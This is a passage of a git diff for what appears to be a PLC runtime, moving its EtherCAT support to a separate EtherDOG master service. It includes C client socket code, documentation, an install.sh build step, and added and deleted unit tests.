&in->sin_addr) != 1) + return -1; + *len = sizeof(*in); + return 0; + } + return -1; +} + +int edl_open_data(edl_link_t *link, const edl_session_t *session, const char *local_dir, + char *err, size_t err_size) +{ + char endpoint[160]; + if (link->data_fd >= 0) { + close(link->data_fd); + link->data_fd = -1; + } + if (link->data_path[0] != '\0') { + unlink(link->data_path); + link->data_path[0] = '\0'; + } + + if (session->udp) { + link->data_fd = socket(AF_INET, SOCK_DGRAM, 0); + struct sockaddr_in local; + memset(&local, 0, sizeof(local)); + local.sin_family = AF_INET; + local.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + socklen_t len = sizeof(local); + if (link->data_fd < 0 || bind(link->data_fd, (struct sockaddr *)&local, sizeof(local)) != 0 || + getsockname(link->data_fd, (struct sockaddr *)&local, &len) != 0) { + snprintf(err, err_size, "cannot bind data socket: %s", strerror(errno)); + return -1; + } + snprintf(endpoint, sizeof(endpoint), "udp:127.0.0.1:%u", (unsigned)ntohs(local.sin_port)); + } else { + struct sockaddr_un local; + memset(&local, 0, sizeof(local)); + local.sun_family = AF_UNIX; + int n = snprintf(local.sun_path, sizeof(local.sun_path), "%s/ethercat-client-%ld.sock", + local_dir, (long)getpid()); + if (n < 0 || (size_t)n >= sizeof(local.sun_path)) { + snprintf(err, err_size, "data socket path too long"); + return -1; + } + unlink(local.sun_path); + link->data_fd = socket(AF_UNIX, SOCK_DGRAM, 0); + if (link->data_fd < 0 || + bind(link->data_fd, (struct sockaddr *)&local, sizeof(local)) != 0) { + snprintf(err, err_size, "cannot bind %s: %s", local.sun_path, strerror(errno)); + return -1; + } + chmod(local.sun_path, 0600); + snprintf(link->data_path, sizeof(link->data_path), "%s", local.sun_path); + snprintf(endpoint, sizeof(endpoint), "unix:%s", local.sun_path); + } + + cJSON *req = cJSON_CreateObject(); + cJSON_AddStringToObject(req, "command", "open_data"); + cJSON_AddStringToObject(cJSON_AddObjectToObject(req, "params"), "endpoint", endpoint); + char *line = cJSON_PrintUnformatted(req); + cJSON_Delete(req); + char resp[4096]; + int rc = line ? edl_call(link, line, resp, sizeof(resp), 5000) : -1; + free(line); + if (rc != 0) { + snprintf(err, err_size, "no reply to open_data"); + return -1; + } + + cJSON *root = cJSON_Parse(resp); + const cJSON *e = root ? cJSON_GetObjectItemCaseSensitive(root, "error") : NULL; + const cJSON *masters = root ? cJSON_GetObjectItemCaseSensitive(root, "masters") : NULL; + if (cJSON_IsString(e) || !cJSON_IsArray(masters)) { + snprintf(err, err_size, "open_data refused: %s", cJSON_IsString(e) ? e->valuestring : resp); + cJSON_Delete(root); + return -1; + } + memset(link->open, 0, sizeof(link->open)); + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + const cJSON *idx = cJSON_GetObjectItemCaseSensitive(m, "index"); + const cJSON *ep = cJSON_GetObjectItemCaseSensitive(m, "endpoint"); + const cJSON *ses = cJSON_GetObjectItemCaseSensitive(m, "session"); + if (!cJSON_IsNumber(idx) || !cJSON_IsString(ep) || !cJSON_IsString(ses)) + continue; + int i = idx->valueint; + if (i < 0 || i >= EDL_MAX_MASTERS || + parse_server(ep->valuestring, &link->server[i], &link->server_len[i]) != 0) + continue; + link->session[i] = strtoull(ses->valuestring, NULL, 16); + link->tx_seq[i] = 0; + link->open[i] = true; + } + cJSON_Delete(root); + return 0; +} + +int edl_recv_inputs(edl_link_t *link, uint8_t *buf, size_t buf_size, int timeout_ms, + int *master_out, uint8_t *flags_out, const uint8_t **payload_out, + size_t *len_out) +{ + if (link->data_fd < 0) + return -1; + struct pollfd pfd = { .fd = link->data_fd, .events = POLLIN }; + int rc = poll(&pfd, 1, timeout_ms); + if (rc == 0) + return 0; + if (rc < 0) + return errno == EINTR ? 0 : -1; + + ssize_t n = recv(link->data_fd, buf, buf_size, 0); + if (n < EDL_FRAME_HEADER) + return 0; + if (buf[0] != 'E' || buf[1] != 'D' || buf[2] != 'O' || buf[3] != 'G' || + buf[4] != PROTOCOL_VERSION || buf[5] != KIND_INPUTS) + return 0; + int master = buf[6]; + uint16_t len = (uint16_t)get_le(buf + 20, 2); + if (master >= EDL_MAX_MASTERS || !link->open[master] || + get_le(buf + 8, 8) != link->session[master] || (size_t)n != EDL_FRAME_HEADER + (size_t)len) + return 0; + + *master_out = master; + *flags_out = buf[7]; + *payload_out = buf + EDL_FRAME_HEADER; + *len_out = len; + return 1; +} + +int edl_send_outputs(edl_link_t *link, int master, const uint8_t *payload, size_t len, bool valid) +{ + if (link->data_fd < 0 || master < 0 || master >= EDL_MAX_MASTERS || !link->open[master] || + len > EDL_MAX_PAYLOAD) + return -1; + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + frame[0] = 'E'; + frame[1] = 'D'; + frame[2] = 'O'; + frame[3] = 'G'; + frame[4] = PROTOCOL_VERSION; + frame[5] = KIND_OUTPUTS; + frame[6] = (uint8_t)master; + frame[7] = valid ? EDL_FLAG_VALID : 0; + put_le(frame + 8, link->session[master], 8); + put_le(frame + 16, ++link->tx_seq[master], 4); + put_le(frame + 20, len, 2); + put_le(frame + 22, 0, 2); + if (len > 0) + memcpy(frame + EDL_FRAME_HEADER, payload, len); + ssize_t n = sendto(link->data_fd, frame, EDL_FRAME_HEADER + len, MSG_DONTWAIT, + (const struct sockaddr *)&link->server[master], link->server_len[master]); + return n < 0 ? -1 : 0; +} + +void edl_close(edl_link_t *link) +{ + if (link->data_fd >= 0) + close(link->data_fd); + if (link->data_path[0] != '\0') + unlink(link->data_path); + if (link->ctl_fd >= 0) + close(link->ctl_fd); + link->data_fd = -1; + link->ctl_fd = -1; + link->data_path[0] = '\0'; + link->rlen = 0; + memset(link->open, 0, sizeof(link->open)); +} diff --git a/core/src/drivers/plugins/native/ethercat/etherdog_link.h b/core/src/drivers/plugins/native/ethercat/etherdog_link.h new file mode 100644 index 00000000..fb91aa44 --- /dev/null +++ b/core/src/drivers/plugins/native/ethercat/etherdog_link.h @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file etherdog_link.h + * @brief Client side of the EtherDOG protocol: JSON control lines and cyclic data datagrams. + * + * The session file written by the webserver gives the control endpoint and the token. + */ + +#ifndef ETHERDOG_LINK_H +#define ETHERDOG_LINK_H + +#include +#include +#include +#include + +#define EDL_MAX_MASTERS 4 +#define EDL_FRAME_HEADER 24 +#define EDL_MAX_PAYLOAD 4096 + +/** Default location of the session file the webserver writes before starting plc_main. */ +#define EDL_SESSION_FILE "/run/runtime/etherdog.json" + +typedef struct { + char control[160]; /* "unix:" or "tcp:127.0.0.1:" */ + char token[160]; + bool udp; /* data transport: loopback UDP instead of AF_UNIX */ +} edl_session_t; + +typedef struct { + int ctl_fd; + char rbuf[64 * 1024]; + size_t rlen; + + int data_fd; + char data_path[108]; + struct sockaddr_storage server[EDL_MAX_MASTERS]; + socklen_t server_len[EDL_MAX_MASTERS]; + uint64_t session[EDL_MAX_MASTERS]; + uint32_t tx_seq[EDL_MAX_MASTERS]; + bool open[EDL_MAX_MASTERS]; +} edl_link_t; + +/** Read the webserver's session file. Returns 0, or -1 with @p err filled. */ +int edl_read_session(const char *path, edl_session_t *out, char *err, size_t err_size); + +void edl_init(edl_link_t *link); + +/** Connect the control socket and authenticate with "hello". */ +int edl_connect(edl_link_t *link, const edl_session_t *session, char *err, size_t err_size); + +/** Send one request line and read one response line. Returns 0, or -1 on I/O failure. */ +int edl_call(edl_link_t *link, const char *request, char *response, size_t response_size, + int timeout_ms); + +/** + * @brief Bind a local datagram socket and ask EtherDOG to open the data session. + * + * On success every running master listed in the reply has its endpoint and session stored. + */ +int edl_open_data(edl_link_t *link, const edl_session_t *session, const char *local_dir, + char *err, size_t err_size); + +/** + * @brief Wait for one valid input frame. + * @return 1 on a frame (outputs filled), 0 on timeout, -1 on socket error. + */ +int edl_recv_inputs(edl_link_t *link, uint8_t *buf, size_t buf_size, int timeout_ms, + int *master_out, uint8_t *flags_out, const uint8_t **payload_out, + size_t *len_out); + +/** Send one output frame to @p master. @p valid false asks EtherDOG for the safe state. */ +int edl_send_outputs(edl_link_t *link, int master, const uint8_t *payload, size_t len, + bool valid); + +/** Close the data socket (and unlink its path) and the control connection. */ +void edl_close(edl_link_t *link); + +/** Input frame flags. */ +#define EDL_FLAG_VALID 0x01 +#define EDL_FLAG_WKC_OK 0x02 + +#endif /* ETHERDOG_LINK_H */ diff --git a/core/src/drivers/plugins/native/ethercat/libs/soem b/core/src/drivers/plugins/native/ethercat/libs/soem deleted file mode 160000 index a7c74cea..00000000 --- a/core/src/drivers/plugins/native/ethercat/libs/soem +++ /dev/null @@ -1 +0,0 @@ -Subproject commit a7c74cea13786426929ae71e94195fa91c4b9faf diff --git a/docs/ETHERCAT.md b/docs/ETHERCAT.md new file mode 100644 index 00000000..42c45eaa --- /dev/null +++ b/docs/ETHERCAT.md @@ -0,0 +1,71 @@ +# EtherCAT + +The EtherCAT master is [EtherDOG](https://github.com/Autonomy-Logic/EtherDOG), a separate process the webserver starts and supervises. The runtime reaches it only through its protocol (EtherDOG's `docs/PROTOCOL.md`). + +``` +Editor upload ──► webserver ──► EtherDOG ◄── wire ──► EtherCAT slaves + │ ethercat_busconfig.json ▲ + │ │ datagrams, one frame each way per bus cycle + └──► plc_main (ethercat plugin) ─┘ + ethercat_iomapping.json +``` + +## Configuration files + +The Editor (runtime v4.3.0 or newer) writes two files into the upload's `conf/` folder: + +| File | Read by | Contents | +|---|---|---| +| `ethercat_busconfig.json` | EtherDOG | Masters, slaves, PDOs, SDOs, channels, and `master.cycle_time_us` | +| `ethercat_iomapping.json` | `plc_main`'s `ethercat` plugin | `(master name, slave, index, subindex)` to IEC location | + +```json +{ + "version": 1, + "masters": [ + { + "name": "EK_BUS", + "entries": [ + { "slave": 1, "index": "0x6000", "subindex": 1, "iec_location": "%IX0.0" } + ] + } + ] +} +``` + +An upload whose single `conf/ethercat.json` (older Editors) describes masters is rejected before anything on the device changes. + +## Components + +| Piece | Where | +|---|---| +| Supervisor: start, restart, token, session file, busconfig delivery, discovery commands | `webserver/etherdog_manager.py` | +| Discovery and status routes (`/api/discovery/ethercat/*`) | `webserver/discovery/discovery_routes.py` | +| Client plugin: layout join, relay thread, reconnect | `core/src/drivers/plugins/native/ethercat/` | +| Build | `install.sh` `build_etherdog` puts the binary at `build/etherdog` | + +The webserver writes `/run/runtime/etherdog.json` (mode 0600), with the control endpoint, the per-boot token and the data transport. The plugin reads it on each connect. EtherDOG's log lines go to `log_runtime.socket`, so they show up in the runtime log with an `[ETHERDOG]` prefix. + +## Timing + +`master.cycle_time_us` from the busconfig sets the bus cycle. The relay thread in `plc_main` has no timer of its own: +1. It wakes on each input frame and publishes `%I` through the journal. +2. It reads `%Q` under `image_lock`. +3. It answers with one output frame. + +So the runtime exchanges data with EtherDOG once per bus cycle. On an SLM-RP4 with an EK1818, 1000 us and 2000 us both measured at the configured rate, on the wire and in the relay. + +## Failure behaviour + +- **EtherDOG exits:** the webserver restarts it with backoff and loads the busconfig again. The plugin notices the silence within 1 s and reconnects without restarting `plc_main`. Meanwhile inputs keep their last values. +- **The client goes quiet for 100 ms:** EtherDOG drives the outputs to zero. +- **A mapping entry has no matching PDO entry, or the direction or width differs:** the plugin fails to start and names the entry. + +## Building EtherDOG + +`install.sh` takes the first of these that exists: +1. `$ETHERDOG_SRC` +2. a checkout at `./etherdog` +3. a clone of `$ETHERDOG_REPO` at `$ETHERDOG_REF`, into `third_party/etherdog` + +The source stays in the install. EtherDOG needs CMake 3.28 or newer, which `install.sh` already provides. diff --git a/install.sh b/install.sh index 37c2e2a3..10a89a1e 100755 --- a/install.sh +++ b/install.sh @@ -488,11 +488,6 @@ build_native_plugins() { # Create plugins output directory mkdir -p "$plugins_output_dir" - # Initialize git submodules (needed by plugins that vendor libraries like SOEM) - if [ -f "$OPENPLC_DIR/.gitmodules" ]; then - log_info "Initializing git submodules for native plugins..." - git -C "$OPENPLC_DIR" submodule update --init --recursive - fi # Find directories with CMakeLists.txt (indicates buildable plugin) local plugins_found=0 @@ -582,6 +577,44 @@ build_native_plugins() { } +# EtherDOG, the EtherCAT master service supervised by the webserver. Its source stays in the install. +ETHERDOG_REPO="${ETHERDOG_REPO:-https://github.com/Autonomy-Logic/EtherDOG.git}" +ETHERDOG_REF="${ETHERDOG_REF:-main}" + +build_etherdog() { + local src="${ETHERDOG_SRC:-}" + if [ -z "$src" ] && [ -f "$OPENPLC_DIR/etherdog/CMakeLists.txt" ]; then + src="$OPENPLC_DIR/etherdog" + fi + if [ -z "$src" ]; then + src="$OPENPLC_DIR/third_party/etherdog" + if [ ! -f "$src/CMakeLists.txt" ]; then + log_info "Fetching EtherDOG ($ETHERDOG_REF) from $ETHERDOG_REPO..." + rm -rf "$src" + mkdir -p "$(dirname "$src")" + if ! git clone --quiet --depth 1 --branch "$ETHERDOG_REF" --recurse-submodules \ + --shallow-submodules "$ETHERDOG_REPO" "$src"; then + log_warning "Could not fetch EtherDOG; EtherCAT will be unavailable." + return 0 + fi + fi + fi + + log_info "Building EtherDOG from $src..." + local build_dir="$src/build" + if ! cmake -S "$src" -B "$build_dir" -DCMAKE_BUILD_TYPE=Release >/dev/null || + ! cmake --build "$build_dir" -j"$(nproc 2>/dev/null || echo 2)"; then + log_warning "EtherDOG build failed; EtherCAT will be unavailable." + return 0 + fi + + local exe="$build_dir/etherdog" + [ -f "$exe.exe" ] && exe="$exe.exe" + mkdir -p "$OPENPLC_DIR/build" + cp "$exe" "$OPENPLC_DIR/build/" + log_success "EtherDOG installed to $OPENPLC_DIR/build/$(basename "$exe")" +} + # Setup runtime directory (needed for both Linux and Docker) # On MSYS2, use /run/runtime which maps to the MSYS2 installation directory if is_msys2; then @@ -625,6 +658,9 @@ if compile_plc; then echo "Building native plugins..." build_native_plugins + echo "Building EtherDOG (EtherCAT master service)..." + build_etherdog + # Create installation marker (must be done before starting the service) touch "$OPENPLC_DIR/.installed" echo "Installation completed at $(date)" > "$OPENPLC_DIR/.installed" diff --git a/plugins_default.conf b/plugins_default.conf index 5fc38f47..7277e667 100644 --- a/plugins_default.conf +++ b/plugins_default.conf @@ -2,4 +2,4 @@ modbus_slave,./core/src/drivers/plugins/python/modbus_slave/simple_modbus.py,0,0 modbus_master,./core/src/drivers/plugins/python/modbus_master/modbus_master_plugin.py,0,0,./core/src/drivers/plugins/python/modbus_master/modbus_master.json,./venvs/modbus_master opcua,./core/src/drivers/plugins/python/opcua/plugin.py,0,0,./core/src/drivers/plugins/python/opcua/opcua.json,./venvs/opcua s7comm,./build/plugins/libs7comm_plugin.so,0,1,./core/src/drivers/plugins/native/s7comm/s7comm_config.json, -ethercat,./build/plugins/libethercat_plugin.so,0,1,./core/src/drivers/plugins/native/ethercat/ethercat_config.json, +ethercat,./build/plugins/libethercat_plugin.so,0,1,./build/plugins/ethercat_iomapping.json, diff --git a/project.yml b/project.yml index 464eea92..3f6eb19c 100644 --- a/project.yml +++ b/project.yml @@ -14,23 +14,11 @@ :source: - core/src/** - -:core/src/drivers/plugins/native/s7comm/** # Exclude s7comm to avoid duplicate cJSON.c - # SOEM ships per-OS osal/oshw variants; only the Linux ones are valid for tests. - # Excluding the others keeps compilation and the include resolution unambiguous. - - -:core/src/drivers/plugins/native/ethercat/libs/soem/contrib/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/osal/win32/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/osal/rtk/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/oshw/win32/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/oshw/rtk/** :support: - tests/support/** # Include support files (stubs, mocks, helpers) :include: - core/src/** - -:core/src/drivers/plugins/native/s7comm/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/contrib/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/osal/win32/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/osal/rtk/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/oshw/win32/** - - -:core/src/drivers/plugins/native/ethercat/libs/soem/oshw/rtk/** - tests/support # For custom helpers or mocks if needed :defines: diff --git a/tests/pytest/discovery/test_etherdog_manager.py b/tests/pytest/discovery/test_etherdog_manager.py new file mode 100644 index 00000000..be1814ba --- /dev/null +++ b/tests/pytest/discovery/test_etherdog_manager.py @@ -0,0 +1,134 @@ +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® + +"""EtherDOG supervision helpers: legacy upload detection, command transport, route shaping.""" + +import json +import os +import socket +import tempfile +import threading +from pathlib import Path + +import pytest + +from webserver.discovery.discovery_routes import _with_plugin_state +from webserver.etherdog_manager import ( + EtherDogManager, + EtherDogUnavailable, + legacy_ethercat_config_in_use, +) +from webserver.plugin_config_model import PluginsConfiguration + + +def test_legacy_config_detected_only_with_masters(tmp_path: Path) -> None: + assert not legacy_ethercat_config_in_use(tmp_path) + + legacy = tmp_path / "ethercat.json" + legacy.write_text("") + assert not legacy_ethercat_config_in_use(tmp_path) + + legacy.write_text("[]") + assert not legacy_ethercat_config_in_use(tmp_path) + + legacy.write_text(json.dumps([{"name": "m", "protocol": "ETHERCAT", "config": {}}])) + assert legacy_ethercat_config_in_use(tmp_path) + + +def test_plugin_state_added_next_to_state() -> None: + result = _with_plugin_state({"masters": [{"name": "m", "state": "OPERATIONAL"}]}) + assert result["masters"][0]["plugin_state"] == "OPERATIONAL" + assert _with_plugin_state({"error": "x"}) == {"error": "x"} + + +def test_ethercat_plugin_reads_iomapping_file(tmp_path: Path) -> None: + conf_dir = tmp_path / "conf" + conf_dir.mkdir() + (conf_dir / "ethercat_iomapping.json").write_text('{"version": 1, "masters": []}') + (conf_dir / "ethercat_busconfig.json").write_text("[]") + plugins = tmp_path / "plugins.conf" + plugins.write_text("ethercat,./build/plugins/libethercat_plugin.so,0,1,,\n") + + config = PluginsConfiguration.from_file(str(plugins)) + config.update_plugins_from_config_dir(str(conf_dir)) + ethercat = next(p for p in config.plugins if p.name == "ethercat") + assert ethercat.enabled + assert ethercat.config_path.endswith("ethercat_iomapping.json") + + +class FakeEtherDog: + """Unix-socket server that requires a token, then echoes the command it received.""" + + def __init__(self, path: str, token: str) -> None: + self.path = path + self.token = token + self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + self.sock.bind(path) + self.sock.listen(4) + self.thread = threading.Thread(target=self._serve, daemon=True) + self.thread.start() + + def _serve(self) -> None: + while True: + try: + conn, _ = self.sock.accept() + except OSError: + return + with conn, conn.makefile("rw", encoding="utf-8") as f: + hello = json.loads(f.readline()) + if hello.get("params", {}).get("token") != self.token: + f.write('{"error": "authentication failed"}\n') + f.flush() + continue + f.write('{"status": "success", "name": "EtherDOG"}\n') + f.flush() + request = json.loads(f.readline()) + f.write(json.dumps({"status": "success", "echo": request["command"]}) + "\n") + f.flush() + + def close(self) -> None: + self.sock.close() + + +@pytest.fixture +def run_dir(): + with tempfile.TemporaryDirectory(prefix="edog", dir="/tmp") as d: + yield Path(d) + + +def _manager(run_dir: Path, token: str) -> EtherDogManager: + binary = run_dir / "etherdog-bin" + binary.write_text("") + manager = EtherDogManager(binary=str(binary), run_dir=run_dir) + manager._token = token + return manager + + +def test_command_authenticates_and_returns_reply(run_dir: Path) -> None: + server = FakeEtherDog(str(run_dir / "etherdog.socket"), "secret") + try: + reply = _manager(run_dir, "secret").command({"command": "status"}) + assert reply == {"status": "success", "echo": "status"} + finally: + server.close() + + +def test_command_rejected_with_wrong_token(run_dir: Path) -> None: + server = FakeEtherDog(str(run_dir / "etherdog.socket"), "secret") + try: + manager = _manager(run_dir, "wrong") + with pytest.raises(EtherDogUnavailable): + manager.command({"command": "status"}) + assert "error" in manager.plugin_style_command({"command": "status"}, timeout=2.0) + finally: + server.close() + + +def test_session_file_is_private(run_dir: Path) -> None: + manager = _manager(run_dir, "") + manager._write_session() + session = json.loads(manager.paths.session_file.read_text()) + assert session["token"] == manager._token and len(session["token"]) == 64 + assert session["control"].startswith("unix:") + assert os.stat(manager.paths.session_file).st_mode & 0o077 == 0 + assert os.stat(manager.paths.token_file).st_mode & 0o077 == 0 diff --git a/tests/test_ethercat_config_helpers.c b/tests/test_ethercat_config_helpers.c deleted file mode 100644 index 32f8f5d5..00000000 --- a/tests/test_ethercat_config_helpers.c +++ /dev/null @@ -1,148 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_config_helpers.c - * @brief Unit tests for the small public helpers in ethercat_config.c: - * ecat_config_init_defaults, ecat_data_type_size, ecat_state_to_string. - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/* ===================================================================== - * ecat_config_init_defaults - * ===================================================================== */ - -void test_init_defaults_NullConfig_ShouldNotCrash(void) -{ - ecat_config_init_defaults(NULL); /* contract: silent no-op */ -} - -void test_init_defaults_MasterFields_ShouldHaveExpectedDefaults(void) -{ - static ecat_config_t config; - /* Pre-fill with non-zero garbage to confirm the init clears the struct. */ - memset(&config, 0xAA, sizeof(config)); - - ecat_config_init_defaults(&config); - - TEST_ASSERT_EQUAL_STRING("eth0", config.master.interface); - TEST_ASSERT_EQUAL_INT(1000, config.master.cycle_time_us); - TEST_ASSERT_EQUAL_INT(2000, config.master.receive_timeout_us); - TEST_ASSERT_EQUAL_INT(3, config.master.watchdog_timeout_cycles); - TEST_ASSERT_EQUAL_STRING("info", config.master.log_level); - TEST_ASSERT_EQUAL_INT(90, config.master.task_priority); - TEST_ASSERT_TRUE(config.master.safe_close); -} - -void test_init_defaults_DiagnosticsFields_ShouldHaveExpectedDefaults(void) -{ - static ecat_config_t config; - ecat_config_init_defaults(&config); - - TEST_ASSERT_TRUE(config.diagnostics.log_connections); - TEST_ASSERT_FALSE(config.diagnostics.log_data_access); - TEST_ASSERT_TRUE(config.diagnostics.log_errors); - TEST_ASSERT_EQUAL_INT(10000, config.diagnostics.max_log_entries); - TEST_ASSERT_EQUAL_INT(500, config.diagnostics.status_update_interval_ms); -} - -void test_init_defaults_SlaveCount_ShouldBeZero(void) -{ - static ecat_config_t config; - ecat_config_init_defaults(&config); - TEST_ASSERT_EQUAL_INT(0, config.slave_count); -} - -/* ===================================================================== - * ecat_data_type_size - * ===================================================================== */ - -void test_data_type_size_Bool_ShouldBeOne(void) -{ - TEST_ASSERT_EQUAL_INT(1, ecat_data_type_size(ECAT_DTYPE_BOOL)); -} - -void test_data_type_size_8bit_ShouldBeOne(void) -{ - TEST_ASSERT_EQUAL_INT(1, ecat_data_type_size(ECAT_DTYPE_INT8)); - TEST_ASSERT_EQUAL_INT(1, ecat_data_type_size(ECAT_DTYPE_UINT8)); -} - -void test_data_type_size_16bit_ShouldBeTwo(void) -{ - TEST_ASSERT_EQUAL_INT(2, ecat_data_type_size(ECAT_DTYPE_INT16)); - TEST_ASSERT_EQUAL_INT(2, ecat_data_type_size(ECAT_DTYPE_UINT16)); -} - -void test_data_type_size_32bit_ShouldBeFour(void) -{ - TEST_ASSERT_EQUAL_INT(4, ecat_data_type_size(ECAT_DTYPE_INT32)); - TEST_ASSERT_EQUAL_INT(4, ecat_data_type_size(ECAT_DTYPE_UINT32)); - TEST_ASSERT_EQUAL_INT(4, ecat_data_type_size(ECAT_DTYPE_REAL32)); -} - -void test_data_type_size_64bit_ShouldBeEight(void) -{ - TEST_ASSERT_EQUAL_INT(8, ecat_data_type_size(ECAT_DTYPE_INT64)); - TEST_ASSERT_EQUAL_INT(8, ecat_data_type_size(ECAT_DTYPE_UINT64)); - TEST_ASSERT_EQUAL_INT(8, ecat_data_type_size(ECAT_DTYPE_REAL64)); -} - -void test_data_type_size_UnknownAndPad_ShouldBeZero(void) -{ - TEST_ASSERT_EQUAL_INT(0, ecat_data_type_size(ECAT_DTYPE_UNKNOWN)); - TEST_ASSERT_EQUAL_INT(0, ecat_data_type_size(ECAT_DTYPE_PAD)); -} - -/* ===================================================================== - * ecat_state_to_string - * ===================================================================== */ - -void test_state_to_string_Idle_ShouldReturnIdle(void) -{ - TEST_ASSERT_EQUAL_STRING("IDLE", ecat_state_to_string(ECAT_STATE_IDLE)); -} - -void test_state_to_string_Scanning_ShouldReturnScanning(void) -{ - TEST_ASSERT_EQUAL_STRING("SCANNING", ecat_state_to_string(ECAT_STATE_SCANNING)); -} - -void test_state_to_string_Configuring_ShouldReturnConfiguring(void) -{ - TEST_ASSERT_EQUAL_STRING("CONFIGURING", ecat_state_to_string(ECAT_STATE_CONFIGURING)); -} - -void test_state_to_string_Transitioning_ShouldReturnTransitioning(void) -{ - TEST_ASSERT_EQUAL_STRING("TRANSITIONING", ecat_state_to_string(ECAT_STATE_TRANSITIONING)); -} - -void test_state_to_string_Operational_ShouldReturnOperational(void) -{ - TEST_ASSERT_EQUAL_STRING("OPERATIONAL", ecat_state_to_string(ECAT_STATE_OPERATIONAL)); -} - -void test_state_to_string_Recovering_ShouldReturnRecovering(void) -{ - TEST_ASSERT_EQUAL_STRING("RECOVERING", ecat_state_to_string(ECAT_STATE_RECOVERING)); -} - -void test_state_to_string_Error_ShouldReturnError(void) -{ - TEST_ASSERT_EQUAL_STRING("ERROR", ecat_state_to_string(ECAT_STATE_ERROR)); -} - -void test_state_to_string_Stopped_ShouldReturnStopped(void) -{ - TEST_ASSERT_EQUAL_STRING("STOPPED", ecat_state_to_string(ECAT_STATE_STOPPED)); -} diff --git a/tests/test_ethercat_config_parser.c b/tests/test_ethercat_config_parser.c deleted file mode 100644 index ebedc369..00000000 --- a/tests/test_ethercat_config_parser.c +++ /dev/null @@ -1,347 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_config_parser.c - * @brief Unit tests for ecat_config_parse_all() — JSON config ingestion. - * - * Builds temporary JSON files on disk and exercises the parser end-to-end - * to cover: argument validation, malformed JSON, missing/invalid fields, - * single-master, multi-master, mixed-protocol skip, and the bare-object - * fall-back path. - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -static const char *TMPFILE = "test_ethercat_parser_tmp.json"; - -/* Static buffers because ecat_master_instance_t is multi-MB. */ -static ecat_master_instance_t g_instances[ECAT_MAX_MASTERS]; - -void setUp(void) -{ - memset(g_instances, 0, sizeof(g_instances)); -} - -void tearDown(void) -{ - remove(TMPFILE); -} - -static void write_tmpfile(const char *json) -{ - FILE *fp = fopen(TMPFILE, "w"); - TEST_ASSERT_NOT_NULL(fp); - fputs(json, fp); - fclose(fp); -} - -/* ===================================================================== - * Argument validation - * ===================================================================== */ - -void test_parse_all_NullPath_ShouldReject(void) -{ - int count = 0; - int rc = ecat_config_parse_all(NULL, g_instances, ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, rc); -} - -void test_parse_all_NullInstances_ShouldReject(void) -{ - int count = 0; - int rc = ecat_config_parse_all("anything.json", NULL, ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, rc); -} - -void test_parse_all_NullCount_ShouldReject(void) -{ - int rc = ecat_config_parse_all("anything.json", g_instances, - ECAT_MAX_MASTERS, NULL); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, rc); -} - -void test_parse_all_ZeroMaxMasters_ShouldReject(void) -{ - int count = 0; - int rc = ecat_config_parse_all("anything.json", g_instances, 0, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, rc); -} - -/* ===================================================================== - * File / parse errors - * ===================================================================== */ - -void test_parse_all_NonExistentFile_ShouldReturnFileError(void) -{ - int count = 99; - int rc = ecat_config_parse_all("/tmp/__definitely_missing_ecat_config.json", - g_instances, ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_FILE, rc); - TEST_ASSERT_EQUAL_INT(0, count); -} - -void test_parse_all_MalformedJson_ShouldReturnParseError(void) -{ - write_tmpfile("{ this is not valid json "); - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_PARSE, rc); -} - -/* ===================================================================== - * Single master, array form - * ===================================================================== */ - -void test_parse_all_SingleMasterArray_ShouldParseAndValidate(void) -{ - write_tmpfile( - "[{" - " \"name\": \"primary\"," - " \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {" - " \"interface\": \"eth0\"," - " \"cycle_time_us\": 500," - " \"receive_timeout_us\": 1500" - " }," - " \"slaves\": [{" - " \"position\": 1," - " \"name\": \"Coupler\"," - " \"vendor_id\": \"0x00000002\"," - " \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": []," - " \"sdo_configurations\": []," - " \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - "}]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_STRING("primary", g_instances[0].name); - TEST_ASSERT_EQUAL_STRING("eth0", g_instances[0].config.master.interface); - TEST_ASSERT_EQUAL_INT(500, g_instances[0].config.master.cycle_time_us); - TEST_ASSERT_EQUAL_INT(1500, g_instances[0].config.master.receive_timeout_us); - TEST_ASSERT_EQUAL_INT(1, 